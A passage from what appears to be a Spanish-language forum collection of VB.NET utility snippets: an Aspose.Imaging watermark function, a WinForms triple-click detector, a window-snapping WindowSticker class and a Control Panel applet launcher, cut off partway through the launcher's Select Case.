Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=(img.Height \ 2))
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
Case WatermarkPosition.Bottom ' Note: horizontalmargin value is ignored.
Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
textposition = New Aspose.Imaging.PointF(x:=(img.Width \ 2), y:=(img.Height - measure.Height - verticalmargin))
textformat.Alignment = Aspose.Imaging.StringAlignment.Center
Case WatermarkPosition.BottomLeft
Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
textposition = New Aspose.Imaging.PointF(x:=(horizontalmargin), y:=(img.Height - measure.Height - verticalmargin))
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
Case WatermarkPosition.BottomRight
Dim f As New System.Drawing.Font(fnt.Name, fnt.Size, DirectCast(fnt.Style, System.Drawing.FontStyle))
Dim measure As System.Drawing.Size = TextRenderer.MeasureText(text, f)
textposition = New Aspose.Imaging.PointF(x:=(img.Width - measure.Width - horizontalmargin), y:=(img.Height - measure.Height - verticalmargin))
textformat.Alignment = Aspose.Imaging.StringAlignment.Near
End Select
Using brush As New Aspose.Imaging.Brushes.SolidBrush With {.Color = color, .Opacity = 100.0F}
' Create and initialize an instance of Graphics class.
Dim g As New Aspose.Imaging.Graphics(img)
' Draw a String using the SolidBrush object and Font, at specific Point and with specific format.
g.DrawString(s:=text, font:=fnt, brush:=brush, point:=textposition, format:=textformat)
End Using
textformat.Dispose()
' Return the modified image.
Return img
End Function
''' <summary>
''' Specifies a Watermark position
''' </summary>
Public Enum WatermarkPosition As Short
''' <summary>
''' Top position.
''' horizontalmargin value is ignored.
''' </summary>
Top = 0S
''' <summary>
''' Top-Left position.
''' </summary>
TopLeft = 1S
''' <summary>
''' Top-Right position.
''' </summary>
TopRight = 2S
''' <summary>
''' Middle-Left position.
''' verticalmargin value is ignored.
''' </summary>
MiddleLeft = 3S
''' <summary>
''' Middle position.
''' verticalmargin and horizontalmargin values are ignored.
''' </summary>
Middle = 4S
''' <summary>
''' Middle-Right position.
''' verticalmargin value is ignored.
''' </summary>
MiddleRight = 5S
''' <summary>
''' Bottom position.
''' horizontalmargin value is ignored.
''' </summary>
Bottom = 6S
''' <summary>
''' Bottom-Left position.
''' </summary>
BottomLeft = 7S
''' <summary>
''' Bottom-Right position.
''' </summary>
BottomRight = 8S
End Enum
Ejemplo de uso:
Private Sub Form1_Load() Handles MyBase.Load
' Load an image to add a watermark.
Dim img As Aspose.Imaging.Image = Aspose.Imaging.Image.Load("C:\sample.bmp")
' Set the watermark text.
Dim text As String = "ElektroStudios"
' Set the watermark text color.
Dim color As Aspose.Imaging.Color = Aspose.Imaging.Color.White
' Set the watermark text font.
Dim fnt As New Aspose.Imaging.Font("Lucida Console", 32, FontStyle.Bold)
' Add the watermark into the image.
img = Me.AddWatermark(img:=img, text:=text, fnt:=fnt, color:=color, position:=WatermarkPosition.BottomRight)
' Or...
' Dim position As New Aspose.Imaging.PointF(x:=10, y:=10)
' img = Me.AddWatermark(img:=img, text:=text, fnt:=fnt, color:=color, position:=position)
' Save the image to disk.
img.Save("C:\Watermark.bmp")
' See the resulting image.
Process.Start("C:\Watermark.bmp")
Application.Exit()
End Sub
Un método alternativo (al p/invoking) para detectar un triple-click en WinForms (esto en WPF se puede detectar practicamente en una sola linea, pero en WinForms es más complicado)
''' <summary>
''' Flag that determines whether the user made a single click.
''' </summary>
Private DidSingleClick As Boolean = False
''' <summary>
''' Flag that determines whether the user made a double click.
''' </summary>
Private DidDoubleClick As Boolean = False
''' <summary>
''' Flag that determines whether the user made a triple click.
''' </summary>
Private DidTripleclick As Boolean = False
''' <summary>
''' Timer that resets the click-count after an inactivity period.
''' </summary>
Private WithEvents ClickInactivity_Timer As New Timer With
{
.Interval = SystemInformation.DoubleClickTime,
.Enabled = False
}
''' <summary>
''' Handles the MouseClick event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub TextBox1_MouseClick(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles TextBox1.MouseClick
If Me.ClickInactivity_Timer.Enabled Then
Me.ClickInactivity_Timer.Enabled = False
End If
Me.DidSingleClick = True
End Sub
''' <summary>
''' Handles the MouseDoubleClick event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub TextBox1_MouseDoubleClick(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles TextBox1.MouseDoubleClick
If Me.ClickInactivity_Timer.Enabled Then
Me.ClickInactivity_Timer.Enabled = False
End If
Me.DidDoubleClick = True
End Sub
''' <summary>
''' Handles the MouseUp event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub TextBox1_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles TextBox1.MouseUp
If Not Me.ClickInactivity_Timer.Enabled Then
Me.ClickInactivity_Timer.Enabled = True
Me.ClickInactivity_Timer.Start()
End If
End Sub
''' <summary>
''' Handles the MouseDown event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub TextBox1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
Handles TextBox1.MouseDown
Me.DidTripleclick = (Me.DidDoubleClick AndAlso Me.DidSingleClick)
If Me.DidTripleclick Then
Me.DidSingleClick = False
Me.DidDoubleClick = False
Me.DidTripleclick = False
sender.SelectAll()
End If
End Sub
''' <summary>
''' Handles the Tick event of the ClickInactivity_Timer control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ClickInactivity_Timer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
Handles ClickInactivity_Timer.Tick
Me.DidSingleClick = False
Me.DidDoubleClick = False
Me.DidTripleclick = False
sender.Enabled = False
End Sub
WindowSticker
· Adhiere el Form a los bordes de la pantalla al mover la ventana cerca de los bordes.
Ejemplo de uso:
Private WindowSticker As New WindowSticker(ClientForm:=Me) With {.SnapMargin = 35}
' ***********************************************************************
' Author : Elektro
' Last Modified On : 09-19-2014
' ***********************************************************************
' <copyright file="WindowSticker.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' Private WindowSticker As New WindowSticker(ClientForm:=Me) With {.SnapMargin = 35}
'Private Sub Form1_Load() Handles MyBase.Shown
' WindowSticker.Dispose()
' WindowSticker = New WindowSticker(Form2)
' WindowSticker.ClientForm.Show()
'End Sub
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.InteropServices
#End Region
#Region " WindowSticker "
''' <summary>
''' Sticks a Form to a Desktop border (if the Form is near).
''' </summary>
Public Class WindowSticker : Inherits NativeWindow : Implements IDisposable
#Region " Properties "
#Region " Public "
''' <summary>
''' Gets the client form used to stick its borders.
''' </summary>
''' <value>The client form used to stick its borders.</value>
Public ReadOnly Property ClientForm As Form
Get
Return Me._ClientForm
End Get
End Property
Private WithEvents _ClientForm As Form = Nothing
''' <summary>
''' Gets or sets the snap margin (offset), in pixels.
''' (Default value is: 30))
''' </summary>
''' <value>The snap margin (offset), in pixels.</value>
Public Property SnapMargin As Integer
Get
Return Me._SnapMargin
End Get
Set(ByVal value As Integer)
Me.DisposedCheck()
Me._SnapMargin = value
End Set
End Property
Private _SnapMargin As Integer = 30I
#End Region
#Region " Private "
''' <summary>
''' Gets rectangle that contains the size of the current screen.
''' </summary>
''' <value>The rectangle that contains the size of the current screen.</value>
Private ReadOnly Property ScreenRect As Rectangle
Get
Return Screen.FromControl(Me._ClientForm).Bounds
End Get
End Property
''' <summary>
''' Gets the working area of the current screen.
''' </summary>
''' <value>The working area of the current screen.</value>
Private ReadOnly Property WorkingArea As Rectangle
Get
Return Screen.FromControl(Me._ClientForm).WorkingArea
End Get
End Property
''' <summary>
''' Gets the desktop taskbar height (when thet taskbar is horizontal).
''' </summary>
''' <value>The desktop taskbar height (when thet taskbar is horizontal).</value>
Private ReadOnly Property TaskbarHeight As Integer
Get
Return Me.ScreenRect.Height - Me.WorkingArea.Height
End Get
End Property
#End Region
#End Region
#Region " Enumerations "
''' <summary>
''' Windows Message Identifiers.
''' </summary>
<Description("Messages to process in WndProc")>
Public Enum WindowsMessages As Integer
''' <summary>
''' Sent to a window whose size, position, or place in the Z order is about to change.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632653%28v=vs.85%29.aspx
''' </summary>
WM_WINDOWPOSCHANGING = &H46I
End Enum
#End Region
#Region " Structures "
''' <summary>
''' Contains information about the size and position of a window.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632612%28v=vs.85%29.aspx
''' </summary>
<StructLayout(LayoutKind.Sequential)>
Public Structure WINDOWPOS
''' <summary>
''' A handle to the window.
''' </summary>
Public hwnd As IntPtr
''' <summary>
''' The position of the window in Z order (front-to-back position).
''' This member can be a handle to the window behind which this window is placed,
''' or can be one of the special values listed with the 'SetWindowPos' function.
''' </summary>
Public hwndInsertAfter As IntPtr
''' <summary>
''' The position of the left edge of the window.
''' </summary>
Public x As Integer
''' <summary>
''' The position of the top edge of the window.
''' </summary>
Public y As Integer
''' <summary>
''' The window width, in pixels.
''' </summary>
Public width As Integer
''' <summary>
''' The window height, in pixels.
''' </summary>
Public height As Integer
''' <summary>
''' Flag containing the window position.
''' </summary>
Public flags As Integer
End Structure
#End Region
#Region " Constructor "
''' <summary>
''' Initializes a new instance of WindowSticker class.
''' </summary>
''' <param name="ClientForm">The client form to assign this NativeWindow.</param>
Public Sub New(ByVal ClientForm As Form)
' Assign the Formulary.
Me._ClientForm = ClientForm
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="WindowSticker"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Assign the handle of the target Form to this NativeWindow,
''' necessary to override target Form's WndProc.
''' </summary>
Private Sub SetFormHandle() Handles _ClientForm.HandleCreated, _ClientForm.Load, _ClientForm.Shown
If (Me._ClientForm IsNot Nothing) AndAlso (Not MyBase.Handle.Equals(Me._ClientForm.Handle)) Then
MyBase.AssignHandle(Me._ClientForm.Handle)
End If
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() Handles _ClientForm.HandleDestroyed
MyBase.ReleaseHandle()
End Sub
#End Region
#Region " WndProc "
''' <summary>
''' Invokes the default window procedure associated with this window to process messages.
''' </summary>
''' <param name="m">
''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
''' </param>
Protected Overrides Sub WndProc(ByRef m As Message)
If (Me._ClientForm IsNot Nothing) AndAlso (m.Msg = WindowsMessages.WM_WINDOWPOSCHANGING) Then
Me.SnapToDesktopBorder(ClientForm:=Me._ClientForm, Handle:=m.LParam, widthAdjustment:=0)
End If
MyBase.WndProc(m)
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Sticks a Form to a desktop border (it its near).
''' </summary>
''' <param name="ClientForm">The client form used to stick its borders.</param>
''' <param name="Handle">A pointer to a 'WINDOWPOS' structure that contains information about the window's new size and position.</param>
''' <param name="widthAdjustment">The border width adjustment.</param>
Private Sub SnapToDesktopBorder(ByVal ClientForm As Form,
ByVal Handle As IntPtr,
Optional ByVal widthAdjustment As Integer = 0I)
Dim newPosition As WINDOWPOS = CType(Marshal.PtrToStructure(Handle, GetType(WINDOWPOS)), WINDOWPOS)
If (newPosition.y = 0) OrElse (newPosition.x = 0) Then
' Nothing to do.
Exit Sub
End If
' Top border (check if taskbar is on top or bottom via WorkingRect.Y)
If (newPosition.y >= -SnapMargin AndAlso (Me.WorkingArea.Y > 0 AndAlso newPosition.y <= (Me.TaskbarHeight + Me.SnapMargin))) _
OrElse (Me.WorkingArea.Y <= 0 AndAlso newPosition.y <= (SnapMargin)) Then
If Me.TaskbarHeight > 0 Then
' Horizontal Taskbar
newPosition.y = Me.WorkingArea.Y
Else
' Vertical Taskbar
newPosition.y = 0
End If
End If
' Left border
If (newPosition.x >= Me.WorkingArea.X - Me.SnapMargin) _
AndAlso (newPosition.x <= Me.WorkingArea.X + Me.SnapMargin) Then
newPosition.x = Me.WorkingArea.X
End If
' Right border.
If (newPosition.x + Me._ClientForm.Width <= Me.WorkingArea.Right + Me.SnapMargin) _
AndAlso (newPosition.x + Me._ClientForm.Width >= Me.WorkingArea.Right - Me.SnapMargin) Then
newPosition.x = (Me.WorkingArea.Right - Me._ClientForm.Width)
End If
' Bottom border.
If (newPosition.y + Me._ClientForm.Height <= Me.WorkingArea.Bottom + Me.SnapMargin) _
AndAlso (newPosition.y + Me._ClientForm.Height >= Me.WorkingArea.Bottom - Me.SnapMargin) Then
newPosition.y = (Me.WorkingArea.Bottom - Me._ClientForm.Height)
End If
' Marshal it back.
Marshal.StructureToPtr([structure]:=newPosition, ptr:=Handle, fDeleteOld:=True)
End Sub
#End Region
#Region " Hidden Methods "
''' <summary>
''' Determines whether the specified System.Object instances are the same instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub ReferenceEquals()
End Sub
''' <summary>
''' Assigns a handle to this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle()
End Sub
''' <summary>
''' Creates a window and its handle with the specified creation parameters.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle()
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
End Sub
''' <summary>
''' Retrieves the window associated with the specified handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Private Shadows Sub FromHandle()
End Sub
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function GetLifeTimeService()
Return Nothing
End Function
''' <summary>
''' Obtains a lifetime service object to control the lifetime policy for this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function InitializeLifeTimeService()
Return Nothing
End Function
''' <summary>
''' Creates an object that contains all the relevant information required to generate a proxy used to communicate with a remote object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Function CreateObjRef()
Return Nothing
End Function
''' <summary>
''' Determines whether the specified System.Object instances are considered equal.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ToString()
End Sub
''' <summary>
''' Invokes the default window procedure associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc()
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(ByVal IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
Me._ClientForm = Nothing
MyBase.ReleaseHandle()
MyBase.DestroyHandle()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Ejecuta un applet del panel de control
ejemplo de uso:
ControlPanelLauncher.Run(ControlPanelLauncher.Applets.SystemProperties)
' ***********************************************************************
' Author : Elektro
' Last Modified On : 09-28-2014
' ***********************************************************************
' <copyright file="ControlPanelLauncher.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
' ControlPanelLauncher.Run()
' ControlPanelLauncher.RunApplet(ControlPanelLauncher.Applets.SystemProperties)
#End Region
''' <summary>
''' Runs a Windows Control Panel Applet.
''' Unofficial documentation: http://pcsupport.about.com/od/tipstricks/a/control-panel-command-line.htm
''' </summary>
Public Class ControlPanelLauncher
#Region " Constants/Readonly "
''' <summary>
''' The ControlPanel process location (control.exe)
''' </summary>
Private Shared ReadOnly ControlProcess As String =
IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "control.exe")
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a Control Panel Applet.
''' </summary>
Public Enum Applets As Integer
''' <summary>
''' Action Center
''' </summary>
ActionCenter
''' <summary>
''' Add Hardware
''' </summary>
AddHardware
''' <summary>
''' Administrative Tools
''' </summary>
AdministrativeTools
''' <summary>
''' AutoPlay
''' </summary>
AutoPlay
''' <summary>
''' Backup And Restore
''' </summary>
BackupAndRestore
''' <summary>
''' Biometric Devices
''' </summary>
BiometricDevices
''' <summary>
''' BitLocker Drive Encryption
''' </summary>
BitLockerDriveEncryption
''' <summary>
''' Bluetooth Devices
''' </summary>
BluetoothDevices
''' <summary>
''' Color Management
''' </summary>
ColorManagement
''' <summary>
''' Credential Manager
''' </summary>
CredentialManager
''' <summary>
''' Date And Time
''' </summary>
DateAndTime
''' <summary>
''' Default Location
''' </summary>
DefaultLocation
''' <summary>
''' Default Programs
''' </summary>
DefaultPrograms
''' <summary>
''' Desktop Gadgets
''' </summary>
DesktopGadgets
''' <summary>
''' Device Manager
''' </summary>
DeviceManager
''' <summary>
''' Devices And Printers
''' </summary>
DevicesAndPrinters
''' <summary>
''' Display
''' </summary>
Display
''' <summary>
''' EaseOfAccess Center
''' </summary>
EaseOfAccessCenter
''' <summary>
''' Family Safety
''' </summary>
FamilySafety
''' <summary>
''' File History
''' </summary>
FileHistory
''' <summary>
''' FlashPlayer Settings Manager
''' </summary>
FlashPlayerSettingsManager
''' <summary>
''' Folder Options
''' </summary>
FolderOptions
''' <summary>
''' Fonts
''' </summary>
Fonts
''' <summary>
''' Game Controllers
''' </summary>
GameControllers
''' <summary>
''' Get Programs
''' </summary>
GetPrograms
''' <summary>
''' Getting Started
''' </summary>
GettingStarted
''' <summary>
''' Home Group
''' </summary>
HomeGroup
''' <summary>
''' Indexing Options
''' </summary>
IndexingOptions
''' <summary>
''' Infrared
''' </summary>
Infrared
''' <summary>
''' Internet Options
''' </summary>
InternetOptions
''' <summary>
''' iSCSI Initiator
''' </summary>
iSCSIInitiator
''' <summary>
''' Keyboard
''' </summary>
Keyboard
''' <summary>
''' Language
''' </summary>
Language
''' <summary>
''' Location And Other Sensors
''' </summary>
LocationAndOtherSensors
''' <summary>
''' Mouse
''' </summary>
Mouse
''' <summary>
''' Network And Sharing Center
''' </summary>
NetworkAndSharingCenter
''' <summary>
''' Network Connections
''' </summary>
NetworkConnections
''' <summary>
''' Network Setup Wizard
''' </summary>
NetworkSetupWizard
''' <summary>
''' Notification Area Icons
''' </summary>
NotificationAreaIcons
''' <summary>
''' Offline Files
''' </summary>
OfflineFiles
''' <summary>
''' Parental Controls
''' </summary>
ParentalControls
''' <summary>
''' Pen And Input Devices
''' </summary>
PenAndInputDevices
''' <summary>
''' Pen And Touch
''' </summary>
PenAndTouch
''' <summary>
''' People Near Me
''' </summary>
PeopleNearMe
''' <summary>
''' Performance Information And Tools
''' </summary>
PerformanceInformationAndTools
''' <summary>
''' Personalization
''' </summary>
Personalization
''' <summary>
''' Phone And Modem Options
''' </summary>
PhoneAndModemOptions
''' <summary>
''' Phone And Modem
''' </summary>
PhoneAndModem
''' <summary>
''' Power Options
''' </summary>
PowerOptions
''' <summary>
''' Printers And Faxes
''' </summary>
PrintersAndFaxes
''' <summary>
''' Problem Reports And Solutions
''' </summary>
ProblemReportsAndSolutions
''' <summary>
''' Programs And Features
''' </summary>
ProgramsAndFeatures
''' <summary>
''' Recovery
''' </summary>
Recovery
''' <summary>
''' Region And Language
''' </summary>
RegionAndLanguage
''' <summary>
''' Regional And Language Options
''' </summary>
RegionalAndLanguageOptions
''' <summary>
''' Remote App And Desktop Connections
''' </summary>
RemoteAppAndDesktopConnections
''' <summary>
''' Scanners And Cameras
''' </summary>
ScannersAndCameras
''' <summary>
''' Screen Resolution
''' </summary>
ScreenResolution
''' <summary>
''' Security Center
''' </summary>
SecurityCenter
''' <summary>
''' Sound
''' </summary>
Sound
''' <summary>
''' Speech Recognition Options
''' </summary>
SpeechRecognitionOptions
''' <summary>
''' Speech Recognition
''' </summary>
SpeechRecognition
''' <summary>
''' Storage Spaces
''' </summary>
StorageSpaces
''' <summary>
''' Sync Center
''' </summary>
SyncCenter
''' <summary>
''' System
''' </summary>
System
''' <summary>
''' System Properties
''' </summary>
SystemProperties
''' <summary>
''' TabletPC Settings
''' </summary>
TabletPCSettings
''' <summary>
''' Task Scheduler
''' </summary>
TaskScheduler
''' <summary>
''' Taskbar
''' </summary>
Taskbar
''' <summary>
''' Taskbar And StartMenu
''' </summary>
TaskbarAndStartMenu
''' <summary>
''' Text To Speech
''' </summary>
TextToSpeech
''' <summary>
''' Troubleshooting
''' </summary>
Troubleshooting
''' <summary>
''' User Accounts
''' </summary>
UserAccounts
''' <summary>
''' Welcome Center
''' </summary>
WelcomeCenter
''' <summary>
''' Windows Anytime Upgrade
''' </summary>
WindowsAnytimeUpgrade
''' <summary>
''' Windows CardSpace
''' </summary>
WindowsCardSpace
''' <summary>
''' Windows Defender
''' </summary>
WindowsDefender
''' <summary>
''' Windows Firewall
''' </summary>
WindowsFirewall
''' <summary>
''' Windows Marketplace
''' </summary>
WindowsMarketplace
''' <summary>
''' Windows Mobility Center
''' </summary>
WindowsMobilityCenter
''' <summary>
''' Windows Sidebar Properties
''' </summary>
WindowsSidebarProperties
''' <summary>
''' Windows SideShow
''' </summary>
WindowsSideShow
''' <summary>
''' Windows Update
''' </summary>
WindowsUpdate
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Runs the Control Panel.
''' </summary>
Public Shared Sub Run()
Process.Start(ControlProcess)
End Sub
''' <summary>
''' Runs a Control Panel Applet.
''' </summary>
''' <param name="Applet">The applet.</param>
Public Shared Sub RunApplet(ByVal Applet As Applets)
Select Case Applet
Case Applets.ActionCenter
Process.Start(ControlProcess, "/name Microsoft.ActionCenter")
Case Applets.AddHardware
Process.Start(ControlProcess, "/name Microsoft.AddHardware")
Case Applets.AdministrativeTools
Process.Start(ControlProcess, "/name Microsoft.AdministrativeTools")
Case Applets.AutoPlay
Process.Start(ControlProcess, "/name Microsoft.AutoPlay")
Case Applets.BackupAndRestore
Process.Start(ControlProcess, "/name Microsoft.BackupAndRestore")
Case Applets.BiometricDevices
Process.Start(ControlProcess, "/name Microsoft.BiometricDevices")
Case Applets.BitLockerDriveEncryption
Process.Start(ControlProcess, "/name Microsoft.BitLockerDriveEncryption")
Case Applets.BluetoothDevices
Process.Start(ControlProcess, "/name Microsoft.BluetoothDevices")
Case Applets.ColorManagement
Process.Start(ControlProcess, "/name Microsoft.ColorManagement")
Case Applets.CredentialManager
Process.Start(ControlProcess, "/name Microsoft.CredentialManager")
Case Applets.DateAndTime
Process.Start(ControlProcess, "/name Microsoft.DateAndTime")
Case Applets.DefaultLocation
Process.Start(ControlProcess, "/name Microsoft.DefaultLocation")
Case Applets.DefaultPrograms
Process.Start(ControlProcess, "/name Microsoft.DefaultPrograms")
Case Applets.DesktopGadgets
Process.Start(ControlProcess, "/name Microsoft.DesktopGadgets")
Case Applets.DeviceManager
Process.Start(ControlProcess, "/name Microsoft.DeviceManager")
Case Applets.DevicesAndPrinters
Process.Start(ControlProcess, "/name Microsoft.DevicesAndPrinters")
Case Applets.Display
Process.Start(ControlProcess, "/name Microsoft.Display")
Case Applets.EaseOfAccessCenter
Process.Start(ControlProcess, "/name Microsoft.EaseOfAccessCenter")
Case Applets.FamilySafety
Process.Start(ControlProcess, "/name Microsoft.ParentalControls")
Case Applets.FileHistory
Process.Start(ControlProcess, "/name Microsoft.FileHistory")
Case Applets.FlashPlayerSettingsManager
Process.Start(ControlProcess, "flashplayercplapp.cpl")
Case Applets.FolderOptions
Process.Start(ControlProcess, "/name Microsoft.FolderOptions")
Case Applets.Fonts
Process.Start(ControlProcess, "/name Microsoft.Fonts")
Case Applets.GameControllers
Process.Start(ControlProcess, "/name Microsoft.GameControllers")
Case Applets.GetPrograms
Process.Start(ControlProcess, "/name Microsoft.GetPrograms")
Case Applets.GettingStarted
Process.Start(ControlProcess, "/name Microsoft.GettingStarted")
Case Applets.HomeGroup
Process.Start(ControlProcess, "/name Microsoft.HomeGroup")
Case Applets.IndexingOptions
Process.Start(ControlProcess, "/name Microsoft.IndexingOptions")
Case Applets.Infrared
Process.Start(ControlProcess, "/name Microsoft.Infrared")
Case Applets.InternetOptions
Process.Start(ControlProcess, "/name Microsoft.InternetOptions")
Case Applets.iSCSIInitiator
Process.Start(ControlProcess, "/name Microsoft.iSCSIInitiator")
Case Applets.Keyboard
Process.Start(ControlProcess, "/name Microsoft.Keyboard")
Case Applets.Language
Process.Start(ControlProcess, "/name Microsoft.Language")
Case Applets.LocationAndOtherSensors
Process.Start(ControlProcess, "/name Microsoft.LocationAndOtherSensors")
Case Applets.Mouse
Process.Start(ControlProcess, "/name Microsoft.Mouse")
Case Applets.NetworkAndSharingCenter
Process.Start(ControlProcess, "/name Microsoft.NetworkAndSharingCenter")
Case Applets.NetworkConnections
Process.Start(ControlProcess, "ncpa.cpl")
Case Applets.NetworkSetupWizard
Process.Start(ControlProcess, "netsetup.cpl")
Case Applets.NotificationAreaIcons
Process.Start(ControlProcess, "/name Microsoft.NotificationAreaIcons")
Case Applets.OfflineFiles
Process.Start(ControlProcess, "/name Microsoft.OfflineFiles")
Case Applets.ParentalControls
Process.Start(ControlProcess, "/name Microsoft.ParentalControls")
Case Applets.PenAndInputDevices
Process.Start(ControlProcess, "/name Microsoft.PenAndInputDevices")
Case Applets.PenAndTouch
Process.Start(ControlProcess, "/name Microsoft.PenAndTouch")
Case Applets.PeopleNearMe
Process.Start(ControlProcess, "/name Microsoft.PeopleNearMe")
Case Applets.PerformanceInformationAndTools
Process.Start(ControlProcess, "/name Microsoft.PerformanceInformationAndTools")
Case Applets.Personalization
Process.Start(ControlProcess, "/name Microsoft.Personalization")
Case Applets.PhoneAndModemOptions
Process.Start(ControlProcess, "/name Microsoft.PhoneAndModemOptions")
Case Applets.PhoneAndModem
Process.Start(ControlProcess, "/name Microsoft.PhoneAndModem")
Case Applets.PowerOptions
Process.Start(ControlProcess, "/name Microsoft.PowerOptions")
Case Applets.PrintersAndFaxes
Process.Start(ControlProcess, "/name Microsoft.Printers")
Case Applets.ProblemReportsAndSolutions
Process.Start(ControlProcess, "/name Microsoft.ProblemReportsAndSolutions")
Case Applets.ProgramsAndFeatures
Process.Start(ControlProcess, "/name Microsoft.ProgramsAndFeatures")
Case Applets.Recovery
Process.Start(ControlProcess, "/name Microsoft.Recovery")
Case Applets.RegionAndLanguage
Process.Start(ControlProcess, "/name Microsoft.RegionAndLanguage")
Case Applets.RegionalAndLanguageOptions
Process.Start(ControlProcess, "/name Microsoft.RegionalAndLanguageOptions")
Case Applets.RemoteAppAndDesktopConnections
Process.Start(ControlProcess, "/name Microsoft.RemoteAppAndDesktopConnections")
Case Applets.ScannersAndCameras
Process.Start(ControlProcess, "/name Microsoft.ScannersAndCameras")
Case Applets.ScreenResolution
Process.Start(ControlProcess, "desk.cpl")
Case Applets.SecurityCenter
Process.Start(ControlProcess, "/name Microsoft.SecurityCenter")
Case Applets.Sound
Process.Start(ControlProcess, "/name Microsoft.Sound")
Case Applets.SpeechRecognitionOptions
Process.Start(ControlProcess, "/name Microsoft.SpeechRecognitionOptions")
Case Applets.SpeechRecognition
Process.Start(ControlProcess, "/name Microsoft.SpeechRecognition")
Case Applets.StorageSpaces
Process.Start(ControlProcess, "/name Microsoft.StorageSpaces")
Case Applets.SyncCenter
Process.Start(ControlProcess, "/name Microsoft.SyncCenter")
Case Applets.System
Process.Start(ControlProcess, "/name Microsoft.System")
Case Applets.SystemProperties
Process.Start(ControlProcess, "sysdm.cpl")
Case Applets.TabletPCSettings
Process.Start(ControlProcess, "/name Microsoft.TabletPCSettings")
Case Applets.TaskScheduler
Process.Start(ControlProcess, "schedtasks")
Case Applets.Taskbar
Process.Start(ControlProcess, "/name Microsoft.Taskbar")
Case Applets.TaskbarAndStartMenu
Process.Start(ControlProcess, "/name Microsoft.TaskbarAndStartMenu")
Case Applets.TextToSpeech
